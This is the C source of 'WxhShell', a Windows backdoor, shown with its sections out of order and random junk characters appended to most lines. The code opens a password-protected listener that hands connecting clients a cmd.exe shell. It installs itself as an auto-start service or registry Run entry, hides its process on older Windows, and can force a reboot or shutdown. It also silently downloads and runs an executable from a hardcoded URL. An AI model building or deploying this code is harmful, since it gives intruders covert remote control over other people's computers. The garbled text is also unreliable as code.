    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lM?P8#3  
    else { Vg2s~ce{  
    closesocket(wsh); f)*}L?  
    ExitThread(0); S"fnT*:.%  
    } _~6AUwM  
    break; in%+)`'nH7  
    } @P)GDB7A  
  // 获取shell (z"Cwa@e  
  case 's': { >yT:eG  
    CmdShell(wsh); =WN6Fj`  
    closesocket(wsh); JP[BSmhAV  
    ExitThread(0); CjIkRa@!x  
    break; Prr<:q  
  } a-O9[?G/x  
  // 退出 \ar.(J  
  case 'x': { koaH31Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0xH$!?{b  
    CloseIt(wsh); Y5(`/  
    break; d<#Xqc  
    } /X8b=:h  
  // 离开 U4Qc$&j>  
  case 'q': { sHAzg^n}r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "< [D1E\  
    closesocket(wsh); Tqm9><!r  
    WSACleanup(); Ma_! 1Y  
    exit(1); ^@jOS{f l  
    break; Oq|pd7fcgm  
        } ^2Op?J  
  } ) D(XDN  
  } AEEy49e  
|f`!{=?  
  // 提示信息 I_N"mnn@Nr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pcL02W|J  
} G!%1<SLi.  
  } vsLn@k3  
/I: d<A  
  return; ~!Onz wmO  
} ^${-^w@,%V  
011 _(v  
// shell模块句柄 w_eLas%  
int CmdShell(SOCKET sock) F*hs3b0Db  
{ Cm>8r5LG  
STARTUPINFO si; U<o,`y[Tn  
ZeroMemory(&si,sizeof(si)); 00<iv"8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,]Hn*\@p[c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l6)*u[}E   
PROCESS_INFORMATION ProcessInfo; i1u & -#k  
char cmdline[]="cmd"; d(R3![:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K2)),_,@5+  
  return 0; ]xV7)/b5G  
} ,7tN&R_  
|1;0q<Ka  
// 自身启动模式 dZv-lMYBE  
int StartFromService(void) 6rdm=8WFA  
{ /ptIxe  
typedef struct \'j%q\Bl;  
{ 5AQ $xm4  
  DWORD ExitStatus; 'J+Vw9 s7  
  DWORD PebBaseAddress; 1<pbO:r  
  DWORD AffinityMask; 0Ac]&N d`  
  DWORD BasePriority; ]vhh*  
  ULONG UniqueProcessId; c_&iGQ  
  ULONG InheritedFromUniqueProcessId; Ks9"U^bPs  
}   PROCESS_BASIC_INFORMATION; fv#e 8y  
dht1I`i"B  
PROCNTQSIP NtQueryInformationProcess; T4._S:~  
BL,YJM(y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DKYrh-MN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,I'Y)SLx  
\y#gh95  
  HANDLE             hProcess; N\ GBjr-d  
  PROCESS_BASIC_INFORMATION pbi; Qz[~{-<  
dIMs{!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P2f~sx9  
  if(NULL == hInst ) return 0; A+:K!|w  
Rnun() plJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p4|:u[:&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [WC-EDO2lb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ld`oIEj!P_  
c tTbvXP  
  if (!NtQueryInformationProcess) return 0; )|'? uN7  
CP/`ON  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jb fMTb4  
  if(!hProcess) return 0; :^! wQ""  
rzY7f: '  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "X"DTP1b  
A5B 5pJ  
  CloseHandle(hProcess); M9 _h0  
u6cWLV t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W<v?D6dFq  
if(hProcess==NULL) return 0; 0M-Zp[w\-  
X~%Wg*Hm  
HMODULE hMod; 0 UjT<t^F  
char procName[255]; &c?-z}=G  
unsigned long cbNeeded; \MX>=  
HrWXPac A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3mpEF<z  
Fg`r:,(a  
  CloseHandle(hProcess); GfPe0&h  
Ku56TH!Py  
if(strstr(procName,"services")) return 1; // 以服务启动 &2#<6=}  
Kx$?IxZ  
  return 0; // 注册表启动 (m~MyT#S  
} +X"TiA7{j  
6e/2X<O  
// 主模块 X-6Se  
int StartWxhshell(LPSTR lpCmdLine) 2}' &38wMT  
{ x-(?^g  
  SOCKET wsl; ,$7LMTVDrE  
BOOL val=TRUE; e2k!5O S  
  int port=0; _sJp"4?  
  struct sockaddr_in door; % UY=VE\F  
~Og'IRf  
  if(wscfg.ws_autoins) Install(); IiS1ubNtZ  
:n{rVn}G  
port=atoi(lpCmdLine); @U:WWTzf  
sw8Ic\vT  
if(port<=0) port=wscfg.ws_port; o#Rao#bD:  
UYGl  
  WSADATA data; 5qR76iH) /  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,5H$Tm,6\S  
ayHI(4!$j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |]Pigi7y-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #li;L  
  door.sin_family = AF_INET; ^FF{71;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )"=BbMfhu  
  door.sin_port = htons(port); r]" >  
cSoZq4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,1RW}1n  
closesocket(wsl); Su-LZ'C\  
return 1; NS mo(c >5  
} !\RR UH*  
^ 4c2}>f  
  if(listen(wsl,2) == INVALID_SOCKET) { ;@ %~eIlu  
closesocket(wsl); kVe}_[{m  
return 1; l4v)tV~  
} W>/O9?D  
  Wxhshell(wsl); BDD^*Y  
  WSACleanup(); X*}S(9cg\i  
-L</,>p  
return 0; cD-\fRBGK  
Vy&F{T;$  
} eW0:&*.vMj  
C[_{ $j(J  
// 以NT服务方式启动 |#f P8OK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z:)\j.  
{ 7Ja^d-F7  
DWORD   status = 0; DTAEfs!ZW  
  DWORD   specificError = 0xfffffff; jKM-(s!(  
VDCrFZ!]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *M6M'>Tin  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KvkiwO(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E':y3T@."  
  serviceStatus.dwWin32ExitCode     = 0; g6;O)b  
  serviceStatus.dwServiceSpecificExitCode = 0; pG:FDlR~  
  serviceStatus.dwCheckPoint       = 0; IgR_p7['.  
  serviceStatus.dwWaitHint       = 0; ?gH[tN:=  
0JKbp*H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /p?h@6h@y  
  if (hServiceStatusHandle==0) return; R8O<} >3a  
~$YFfv>  
status = GetLastError(); gXc&uR0S  
  if (status!=NO_ERROR) I`p44}D3  
{ b;Q cBGwKT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (:vY:-\ bO  
    serviceStatus.dwCheckPoint       = 0; w9H%u0V?  
    serviceStatus.dwWaitHint       = 0; 3Akb|r  
    serviceStatus.dwWin32ExitCode     = status; DyYl97+Z?  
    serviceStatus.dwServiceSpecificExitCode = specificError; J:5%ff~r\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F#O.i,  
    return; ^L*:0P~  
  } kG@1jMPtQ  
!@%m3)T8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e J2wK3R  
  serviceStatus.dwCheckPoint       = 0; )TVyRYZ1  
  serviceStatus.dwWaitHint       = 0; .#lQZo6$\|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \/S?.P#L~  
} }7wQFKME  
c3g\*)Jz"F  
// 处理NT服务事件,比如:启动、停止 X;6&:%ZL@^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g>T'R Vb  
{ [[LCEw  
switch(fdwControl) xH; 4lw  
{ MpGWt#  
case SERVICE_CONTROL_STOP: v|CRiwx  
  serviceStatus.dwWin32ExitCode = 0; J:M^oA'N:>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P_lk4 0X  
  serviceStatus.dwCheckPoint   = 0; f:=q=i  
  serviceStatus.dwWaitHint     = 0; }V6}>!Sb  
  { &HT P eB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |JnJ=@-y  
  } 6 @'v6 1'  
  return; vAHJP$x  
case SERVICE_CONTROL_PAUSE: |A[Le ;,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L+9a4/q  
  break; y~]>J^  
case SERVICE_CONTROL_CONTINUE: L#m1!+J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H [R|U   
  break; ^Me__Y  
case SERVICE_CONTROL_INTERROGATE: ,d&~#W]  
  break; RVlC8uJ;P  
}; : -te  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CP["N(fF  
} bUU_NqUf*3  
`+Wl fk;  
// 标准应用程序主函数 . p<*n6E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jbMzcn~ehI  
{ @]gP"Pp  
V`G)8?%Vy  
// 获取操作系统版本 l2X'4_d  
OsIsNt=GetOsVer(); ]* ':  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EX|Wd|aK  
U43PHcv_  
  // 从命令行安装 u2@:[:Ao  
  if(strpbrk(lpCmdLine,"iI")) Install(); +p>tO\mo  
@0-<|,^]  
  // 下载执行文件 AW%^Xt  
if(wscfg.ws_downexe) { ]M-j_("&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z;2kKQZm  
  WinExec(wscfg.ws_filenam,SW_HIDE); /2~qm/%Q  
} f0O"Hm$Z  
lk)38.  
if(!OsIsNt) { nH/V2> Lm  
// 如果时win9x,隐藏进程并且设置为注册表启动 1vx:`2 A4  
HideProc(); 9p9:nx\  
StartWxhshell(lpCmdLine); |J?KHI  
} cK1r9ED|  
else Bd31> %6  
  if(StartFromService()) doW_v u  
  // 以服务方式启动 5O]ph[7  
  StartServiceCtrlDispatcher(DispatchTable); _ ?xORzO  
else B14z<x}Q  
  // 普通方式启动 PZ AyHXY  
  StartWxhshell(lpCmdLine); P!0uAkt9C  
C Rw.UC\  
return 0; 5)AMl)  
} }c:s+P+/  
L|u\3.:  
D0.7an6  
^R! qxSj  
=========================================== 9V9K3xWn  
_RST[B.u6  
zL+jlUkE  
5,Mc` IIK1  
?|w>."F  
d3St Z~&r!  
" `!K(P- yB?  
Xt_8=Q  
#include <stdio.h> 9NBFG~)|l[  
#include <string.h> t ux/@}I  
#include <windows.h> 6:fe.0H 9  
#include <winsock2.h> @_J~zo  
#include <winsvc.h> >h(n8wTP  
#include <urlmon.h> +ZQf$@+  
bLhTgss](  
#pragma comment (lib, "Ws2_32.lib") ;wa- \Z  
#pragma comment (lib, "urlmon.lib") |~Z.l  
)CD4k:bm  
#define MAX_USER   100 // 最大客户端连接数 (1^AzE%U+Z  
#define BUF_SOCK   200 // sock buffer X6)-1.T&  
#define KEY_BUFF   255 // 输入 buffer ;%0$3a  
&z+nNkr?yN  
#define REBOOT     0   // 重启 +? E~F  
#define SHUTDOWN   1   // 关机 6k|o<`~,  
*%=BcV+,  
#define DEF_PORT   5000 // 监听端口 |a*VoMZ  
bqWo*>l  
#define REG_LEN     16   // 注册表键长度 LPc)-t|p"  
#define SVC_LEN     80   // NT服务名长度 @!"w.@ Y  
o:W>7~$jr=  
// 从dll定义API Ej~vp2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c>6dlWTqX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G3 rTzMO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;6KcX\g-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K`{P/w  
|-a5|3  
// wxhshell配置信息 k Pi%RvuQ  
struct WSCFG { 1hp`.!3]H  
  int ws_port;         // 监听端口 ?#YheML?  
  char ws_passstr[REG_LEN]; // 口令 :PE{2*  
  int ws_autoins;       // 安装标记, 1=yes 0=no Qz=F nR  
  char ws_regname[REG_LEN]; // 注册表键名 U*!q@g_  
  char ws_svcname[REG_LEN]; // 服务名 ^ a^bsKW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #^4p(eZ[}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _kg<K D=P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %UT5KYd!=N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @a$_F3W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -K eoq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z6)b XL[f  
*:gx1wd  
}; t~]n"zgovz  
rofj&{w  
// default Wxhshell configuration `u$  Rd  
struct WSCFG wscfg={DEF_PORT, H=RzY-\a%  
    "xuhuanlingzhe", >'ev_eAk  
    1, b+Vfi9<  
    "Wxhshell", JZI)jIh  
    "Wxhshell", 2[ = =  
            "WxhShell Service", <:/Lap#D^  
    "Wrsky Windows CmdShell Service", &W+lwEu  
    "Please Input Your Password: ", v3PtiKS  
  1, BbsgZ4  
  "http://www.wrsky.com/wxhshell.exe", 55q!2>Jh.  
  "Wxhshell.exe" Q]$gw,H"6  
    }; v3O+ ;4  
7^)8DwAl  
// 消息定义模块 -<H\VT%98  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8?LsV<  
char *msg_ws_prompt="\n\r? for help\n\r#>";  >M~1{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )Q= EmZbJz  
char *msg_ws_ext="\n\rExit."; {*mf Is  
char *msg_ws_end="\n\rQuit."; 7+ +Fak  
char *msg_ws_boot="\n\rReboot..."; -Pt.  
char *msg_ws_poff="\n\rShutdown..."; \]<e Lw- v  
char *msg_ws_down="\n\rSave to "; *U>"_h T0  
@n2Dt d  
char *msg_ws_err="\n\rErr!"; -UY5T@as  
char *msg_ws_ok="\n\rOK!"; : N9,/-s  
E+z),"QA  
char ExeFile[MAX_PATH]; + OKk~GYf  
int nUser = 0; k;/K']4y  
HANDLE handles[MAX_USER]; mxD]`F  
int OsIsNt; QiH>!Ssw  
dhrh "x_?:  
SERVICE_STATUS       serviceStatus; b3.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [l44,!Z&  
E$SYXe[,  
// 函数声明 2_T2?weD5  
int Install(void); Ig&H0S  
int Uninstall(void); |"}oGL6-  
int DownloadFile(char *sURL, SOCKET wsh); Ey|{yUmU+  
int Boot(int flag); &3gC&b^i  
void HideProc(void); CWT#1L=  
int GetOsVer(void); ]2E#P.-!b  
int Wxhshell(SOCKET wsl); +MZsL7%  
void TalkWithClient(void *cs); dCA| )  
int CmdShell(SOCKET sock); $, hHR:  
int StartFromService(void); zUuOX5-6x  
int StartWxhshell(LPSTR lpCmdLine); gGZ-B<  
5 EhOvt8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3JYhF)G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :1asY:)vNP  
JuW"4R  
// 数据结构和表定义 Gh%R4)}  
SERVICE_TABLE_ENTRY DispatchTable[] = u ,R R|/@  
{ 5 w-Pq&q  
{wscfg.ws_svcname, NTServiceMain}, $8>kk  
{NULL, NULL} hgg 8r#4q  
}; OQ(w]G0LP  
+Vv+<M  
// 自我安装 l bs0i  
int Install(void) izDfpr}s4  
{ m^!Kthq  
  char svExeFile[MAX_PATH]; 0<i8 ;2KD  
  HKEY key; i?wEd!=w  
  strcpy(svExeFile,ExeFile); T.(C`/VM  
A_e&#O  
// 如果是win9x系统,修改注册表设为自启动 /a,"b8  
if(!OsIsNt) { 2# 72B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bnp\G h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UuS6y9@v  
  RegCloseKey(key); dNu?O>=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8Z|A'M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'm=TBNQTS  
  RegCloseKey(key); ^[x6p}$  
  return 0; 'VpzB s#  
    } 7Pe<0K)s(  
  } !78P+i  
} o75l&`  
else { _V`F_C\\#  
HPMj+xH  
// 如果是NT以上系统,安装为系统服务 Ec9%RAxl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *I:a \o~$[  
if (schSCManager!=0) )\KU:_l  
{ ~xLo0EV "  
  SC_HANDLE schService = CreateService oRo[WQla  
  ( ~4+ICCbH  
  schSCManager, ]z O6ESH  
  wscfg.ws_svcname, ;fW`#aE  
  wscfg.ws_svcdisp, FMX ^k  
  SERVICE_ALL_ACCESS, ,ZI#p6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |A.nP9hW  
  SERVICE_AUTO_START, dVMduo  
  SERVICE_ERROR_NORMAL, S awf]/  
  svExeFile, :F8h}\a*  
  NULL, |.KB  
  NULL, ).)^\  
  NULL, CJjT-(a  
  NULL, A^c  (  
  NULL (`&SV$m  
  ); hG~HV{6  
  if (schService!=0) >*MGF=.QG  
  { HV&i! M@T  
  CloseServiceHandle(schService); U5 ia|V  
  CloseServiceHandle(schSCManager); cG"wj$'w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *(s0X[-  
  strcat(svExeFile,wscfg.ws_svcname); 00B,1Q HP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 82)%`$yZw[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e'yw8U5E/  
  RegCloseKey(key); MQe|\SMd  
  return 0; .sjv"D"  
    } @;G%7&ps  
  } - lqD  
  CloseServiceHandle(schSCManager); oI5^.Dr FW  
} `>4"i+NFF8  
} e ?7y$H-  
:q c?FQ ;  
return 1; pocXQEg$]  
} n8E3w:A-  
+B[XTn,Cru  
// 自我卸载 Q#F9&{'l  
int Uninstall(void) Aj8zFt ]  
{ }hE!0q~MfM  
  HKEY key; /PVx  
U2)?[C1q{  
if(!OsIsNt) { g"~`\ xhx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EQe$~}[  
  RegDeleteValue(key,wscfg.ws_regname); Sd F+b+P]  
  RegCloseKey(key); 7g5Pc_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cA+T-A]  
  RegDeleteValue(key,wscfg.ws_regname); ef7BG(  
  RegCloseKey(key); wV\7  
  return 0; Mtl`A'KQ/K  
  } AC\y|X8-  
} DUSQh+C  
} ? o&goiM  
else { v^J']p  
]UkqPtG;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^6gEL~m|]  
if (schSCManager!=0) t33\f<e  
{ A{dqB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bk0<i*ju7(  
  if (schService!=0) r $[{sW  
  { iGSF5S  
  if(DeleteService(schService)!=0) { Es- =0gpK  
  CloseServiceHandle(schService); vmv6y*qU  
  CloseServiceHandle(schSCManager); iSX HMp4V  
  return 0; 1LaJ hrp?  
  } T_q M@/f  
  CloseServiceHandle(schService); ]4/C19Fe!  
  } IB$i ^  
  CloseServiceHandle(schSCManager); 7^V`B^Vu  
} p1[|5r5Day  
} !<HF764@`  
1g,Ofr  
return 1; B}P!WRNmln  
} 1Vkb}A,'  
[wk1p-hf  
// 从指定url下载文件 x:i,l:x  
int DownloadFile(char *sURL, SOCKET wsh) o=RxQk1N  
{ TV|Z$,6l  
  HRESULT hr; r:PYAb=g  
char seps[]= "/"; 1h|qxYO  
char *token; Pc`)D:/}R  
char *file; KSJ+3_7 ]k  
char myURL[MAX_PATH]; }+}Cl T  
char myFILE[MAX_PATH]; Ga+Cb2$  
sOVpDtZ]LR  
strcpy(myURL,sURL); @#*{* S8  
  token=strtok(myURL,seps); ?^J%S,  
  while(token!=NULL) {H>Tv,v|  
  { ^hsr/|  
    file=token; G*=&yx."E  
  token=strtok(NULL,seps); KzX)6 |g{"  
  } i03=Af3  
mq}UUk@  
GetCurrentDirectory(MAX_PATH,myFILE); uP$i2Cy  
strcat(myFILE, "\\");  c_,pd  
strcat(myFILE, file); x[fp7*TiG  
  send(wsh,myFILE,strlen(myFILE),0); qW*k|;S  
send(wsh,"...",3,0); '"XVe+.O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =jA.INin4  
  if(hr==S_OK) 1;?w#/&t  
return 0; I FvigDj?  
else c6 .j$6t  
return 1; ?9 W2ax-4  
_dECAk &b  
} lYS "  
e\O625  
// 系统电源模块 V3T.EW  
int Boot(int flag) Q);}1'c  
{ J7`;l6+Gb  
  HANDLE hToken; +3M1^:  
  TOKEN_PRIVILEGES tkp; J*zQ8\f=}  
=*.S<Ko)  
  if(OsIsNt) { )iVuac]E++  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6mIeV0Q'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6;@:/kl t  
    tkp.PrivilegeCount = 1; /XA*:8~!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &_s^C?x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uKTYb#E7  
if(flag==REBOOT) { 7<L!" 2VB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rWqr-"0S.  
  return 0; "uj@!SEs`?  
} /!.]Y8yEH  
else { $VP\Ac,!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L^PBcfg  
  return 0; #Uep|A  
} #s#BYbF  
  } *5\'$;Rg  
  else { HX,i{aWWy  
if(flag==REBOOT) { ~0o>B$xJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q \S Sv;3_  
  return 0; +VJyGbOcC  
} W<TfDEEa  
else { fN21[Jv3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c>! ^\  
  return 0; G)f!AuN=  
} !aJ6Uf%R  
} G8MLg#  
Zlt,Us`  
return 1; iSfRo 31  
} E70o nR!i  
b_u; `^  
// win9x进程隐藏模块 bA'N2~.,  
void HideProc(void) hSN38wy  
{ ><. *5q  
)nq(XM7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U7e2NES  
  if ( hKernel != NULL ) 'Q=(1a11  
  { |+JC'b?,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ccx0aC3@I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bj_/  
    FreeLibrary(hKernel); Z.rhM[*+0C  
  } >z% WW&Z'  
~BE=z:  
return; :~ &#9  
}  tO D}&  
fQ -IM/z  
// 获取操作系统版本 *+00  
int GetOsVer(void) oMYZ^b^  
{ ixoN#'y<"  
  OSVERSIONINFO winfo; 7{k?" NF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SL\15`[{  
  GetVersionEx(&winfo); fP8bWZ{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &Z9rQH81f>  
  return 1; Po.by~|  
  else e? |4O< @  
  return 0; !CY*SGO  
} W'Y(@  
~zvZK]JoX  
// 客户端句柄模块 YUyYVi7clq  
int Wxhshell(SOCKET wsl) eOfVBF<C2  
{ J$T(p%  
  SOCKET wsh; G,1g~h%I$  
  struct sockaddr_in client; }I#_H  
  DWORD myID; v-"nyy-&Z  
!kH 1|  
  while(nUser<MAX_USER) 0,8RA_Ca}  
{ C~nL3w  
  int nSize=sizeof(client); 3{Zd<JYg4-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V^>< =DNE  
  if(wsh==INVALID_SOCKET) return 1; Hq?dqg'%~  
g:6 `1C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;RQ}OCz9}8  
if(handles[nUser]==0) sheCwhV  
  closesocket(wsh); }D3hP|.X  
else ; 3sjTqD  
  nUser++; FF|M7/[~  
  } [o7Qr?RN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =+[` 9  
F[)tg#}@G  
  return 0; g&8-X?^Q  
} tbfwgK  
6uk}4bdvq  
// 关闭 socket TQ%F\@"  
void CloseIt(SOCKET wsh) %ZDO0P !/  
{ sWKdqs  
closesocket(wsh); A^zd:h-  
nUser--; Mp[2Auf  
ExitThread(0); e)87 & 7  
} : &~LPmJ  
$U)nrn i  
// 客户端请求句柄 Pmd5P:n*,  
void TalkWithClient(void *cs) M7-2;MZ  
{ _kBx2>qQ  
Jc`tOp5  
  SOCKET wsh=(SOCKET)cs; x0%@u^BF  
  char pwd[SVC_LEN]; xX Dj4j,  
  char cmd[KEY_BUFF]; [81q 0@  
char chr[1]; [F{P0({%?  
int i,j; e nw*[D !  
g+(Y)9h&  
  while (nUser < MAX_USER) { &^Gp  
C<w&mFozL  
if(wscfg.ws_passstr) { SDk^fTV8x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {M\n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;0uiO.  
  //ZeroMemory(pwd,KEY_BUFF); 8kE3\#);\  
      i=0; l?Ibq}[~  
  while(i<SVC_LEN) { 7?);wh7`  
T`]P5Bk8r  
  // 设置超时 k[f_7lJ2  
  fd_set FdRead; oR3t vw.  
  struct timeval TimeOut; CW.T`F  
  FD_ZERO(&FdRead); !;${2Q  
  FD_SET(wsh,&FdRead); ocZ^rqo2w  
  TimeOut.tv_sec=8; [N<rPHT  
  TimeOut.tv_usec=0; 1 (e64w@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .SNg2.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EW+QVu@  
>t%@)]*N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  [ A 7{}  
  pwd=chr[0]; ~)6EH`-  
  if(chr[0]==0xd || chr[0]==0xa) { _g'x=VJF  
  pwd=0; A\13*4:;l  
  break; +wI<w|!  
  } yW"[}L h4  
  i++; aY6F4,7/B  
    } %7?Z|'\  
8`90a\t'Z  
  // 如果是非法用户,关闭 socket zw iS%-F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iqN?'8  
} ^ohIJcI-  
ksUF(lYk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q^* 3 3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .>LJ(Sx9b  
Z'|k M!  
while(1) { dfZ`M^NU  
s .+`"rK  
  ZeroMemory(cmd,KEY_BUFF); v I,T1%llu  
oa`7ClzD  
      // 自动支持客户端 telnet标准   ~@T`0W-Py  
  j=0; %J1oz3n  
  while(j<KEY_BUFF) { Jje!*?&8X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W! J@30  
  cmd[j]=chr[0]; 7<Y aw,G  
  if(chr[0]==0xa || chr[0]==0xd) { =F %lx[9Ye  
  cmd[j]=0; JY~CMR5#.O  
  break; s#(%u t  
  } H5o=nWQ6e  
  j++; MT$)A:"  
    } 8Dn~U :F/?  
wzBw5n f\  
  // 下载文件 py'xB i6}v  
  if(strstr(cmd,"http://")) { ) t CNp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); su3Wk,MLP  
  if(DownloadFile(cmd,wsh)) xJA{Hws  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oArJ%Y>  
  else `; j$]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3e1P!^'\  
  } aK 3'u   
